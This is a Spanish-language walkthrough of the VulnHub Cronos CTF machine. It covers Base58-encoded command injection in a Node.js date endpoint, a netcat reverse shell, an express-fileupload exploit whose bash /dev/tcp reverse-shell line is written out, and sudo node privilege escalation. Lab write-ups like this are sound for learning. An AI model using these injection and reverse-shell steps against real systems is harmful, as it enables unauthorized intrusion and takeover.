VulnHub — Cronos:1 CTF Walkthrough


 Máquina de nivel medio, el objetivo es encontrar el root flag (bandera root). 

1. Fase de Enumeración y Reconocimiento
Primero escanearé la red en busca de la dirección IP de la máquina objetivo.
Como se observa en la imagen la dirección IP de la máquina objetivo es 192.168.50.198.

Con la herramienta Nmap realizaré un escáner de puertos de la máquina objetivo, para este caso configurare Nmap de la siguiente manera "nmap -sS -n -p- --open 192.168.50.198 " donde:

-sS      : Le indica a Nmap que realice un escaneo SYN Scan.
-n        : Le indica a Nmap que no realice resolución de DNS.
-p-       : Le indica Nmap que escanee todos los puertos.
--open : Le indica a Nmap que solo consideré los puertos abiertos.
Ahora realizaré un nuevo escaneo para averiguar las versiones de los servicios que se están ejecutando en la máquina objetivo.
Resumiendo, tenemos 3 puertos abiertos: Puerto 22 SSH OpenSSH versión 7.6p1, Puerto 80 http apache 2.4.29 y Puerto 8000 http Node.js Express framework. 
Vista Puerto 80 http
Vista Puerto 8000 http
La página web no entregan ninguna información relevante, por lo tanto, analizaré la petición web con las herramientas de desarrollo que nos proporciona el navegar web.
Como se observa en la imagen al analizar la petición se expone el host y la url y un parámetro date?format. Bien! ya tenemos algo más concreto que analizar. Ahora lo que haré agregar a mi archivo /etc/hosts el host para enrutar la petición. 
Con el editor nano agregue el host chronos.local. Luego, en el navegador web ingrese en la barra de dirección http://chronos.local
Al visitar la url http://chronos.local el servidor responde con el día, fecha y hora.

Ahora visitaré la página web agregando los parámetros date?format.
Al visita la url el servidor responde con el mensaje "Permission Denied", es decir, Permiso denegado.

Al analizar el parámetro dat?format=..., me di cuenta que por cada petición que se hace al servidor este parámetro va cambiando, por lo tanto, con la herramienta cyberchef intentaré de decodificar este parámetro. como el parámetro se pasa por url este debe estar codificado en base64, base62, base58, etc. Es por esta razón que utilizaré la herramienta cyberchef que cuenta con varias utilidades para decodificar en base...
Utilidades para decodificar en cyberchef

Después de probar con las distintas utilidades de decodificación, la que coincidió es Base58. Como se muestra en la imagen al decodificar se obtiene el día, fecha y hora como argumentos.

2. Fase de Análisis de Vulnerabilidades.
Ahora haré una prueba para saber si la página web es vulnerable a inyección de código. Lo que haré es codificar un comando de sistema operativo en base58, para comprobar cómo se comporta el servidor y que respuesta nos envía.

Para realizar esta prueba utilizaré la herramienta Cyberchef para codificar el comando en base58 y con la herramienta BurpSuit interceptaré la petición para modificar el parámetro y enviarlo al servidor.
Interceptación de la petición para ser modificada

Codificación del parámetro inyectado en base58 

Bien! el parámetro date?format es vulnerable a inyección de código. Como se observa en la imagen el servidor interpretó y devolvió la salida el comando ls- l, este comando lista los archivos del directorio actual. Aquí me llamo la atención el archivo app.js, así que intentaré ver el contenido de este archivo.

Utilizaré la herramienta online js-beautify para ordenar el código mostrado en la imagen.
Encontré algo interesante en este código, el código está validando la entrada del parámetro data y valida la concatenación, es decir, el código que es inyectado en el parámetro. Por lo tanto, no podemos ejecutar las instrucciones id, whoami, python, nc, bash, php, which, socat. Si inyectamos algunos de estos comandos el servidor responderá con un mensaje: Algo salió mal (Something went wrong).
  
3. Fase de Explotación.
En esta fase intentaré de obtener una conexión shell reversa, es decir, intentaré inyectar un comando que permita comunicar al servidor con mi máquina atacante. Para realizar esta conexión reversa utilizaré la herramienta Netcat, para dejar un puerto a la escucha en el puerto 4444 para que la máquina objetivo pueda comunicarse con la máquina atacante.
Máquina atacante con puerto de escucha 4444
Ahora inyectare el siguiente comando para crear una conexión reversa, es decir, que el servido establezca una conexión con mi máquina atacante.
Script obtenido de la página web: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 

Obtuvimos una conexión reversa de la máquina objetivo. Analizando los directorios me cambié al directorio /home/imera/ en el cual encontré un archivo user.txt
El archivo user.txt pertenece al usuario irema, por lo tanto, no podré ver su contenido.

Aquí analizaré los archivos de configuración del servidor Node.js que descubrimos en la fase de reconocimiento. Estos archivos están ubicados en el directorio /opt del servidor.
En el directorio backend se encuentran el archivo server.js que es un archivo de configuración.
Como se muestra en la imagen existe una dependencia de Noje.js llamada express-fileupload versión 1.1.7-alpha3. Esta dependencia es un middleware para Node.js que facilita la subida/carga de archivos en servidor.

Buscaré en Internet si existe algún exploit para esta versión de express-fileupload.
https://github.com/boiledsteak/EJS-Exploit
Encontré este exploit en un repo de Github. Lo descargue y lo configuraré de la siguiente manera.

Como se observa en la imagen es un script escrito en el lenguaje de programación Python. En el debemos cambiar las siguientes líneas:

cmd = 'bash -c "bash -i &> /dev/tcp/[IP:Puerto (máquina atacante)] 0>&1"'
requests.post('http://[IP:Puerto (servido Node.js)]', ...
requests.get('http:///[IP:Puerto (servido Node.js)) 

Una vez realizados los cambios ejecutamos el servidor Python en el mismo directorio donde se encuentra nuestro exploit modificado.
Desde la conexión que tenemos con el servidor ejecutamos la utilidad wget para descargar el exploit desde nuestra máquina atacante.
Ahora en nuestra máquina atacante con la herramienta Netcat dejaremos a la escucha el puerto 4343 que es el puerto que configuramos en nuestro exploit.
Por último, ejecutamos el exploit que descargamos en la máquina victima 
Al finalizar el exploit obtenemos una nueva conexión, pero ahora como usuario imera.
Ahora que ya tenemos acceso con usuario imera podes ver el contenido user.txt

El archivo user.txt contiene un mensaje codificado en base64.
Ahora veré que permisos de sudo tiene el usuario irema, para poder elevar privilegios.
El usuario irema puede ejecutar el comando npm y node como usuario root.

4. Elevar privilegio.
Ahora ejecutaré el siguiente comando para elevar privilegio 
https://gtfobins.github.io/gtfobins/node/#suid


Bien! elevamos privilegio, ahhora busquemos el root flag (bandera root).
Encontramos nuestro root flag, decodificare el mensaje.
Happy Hack!!!

Comentarios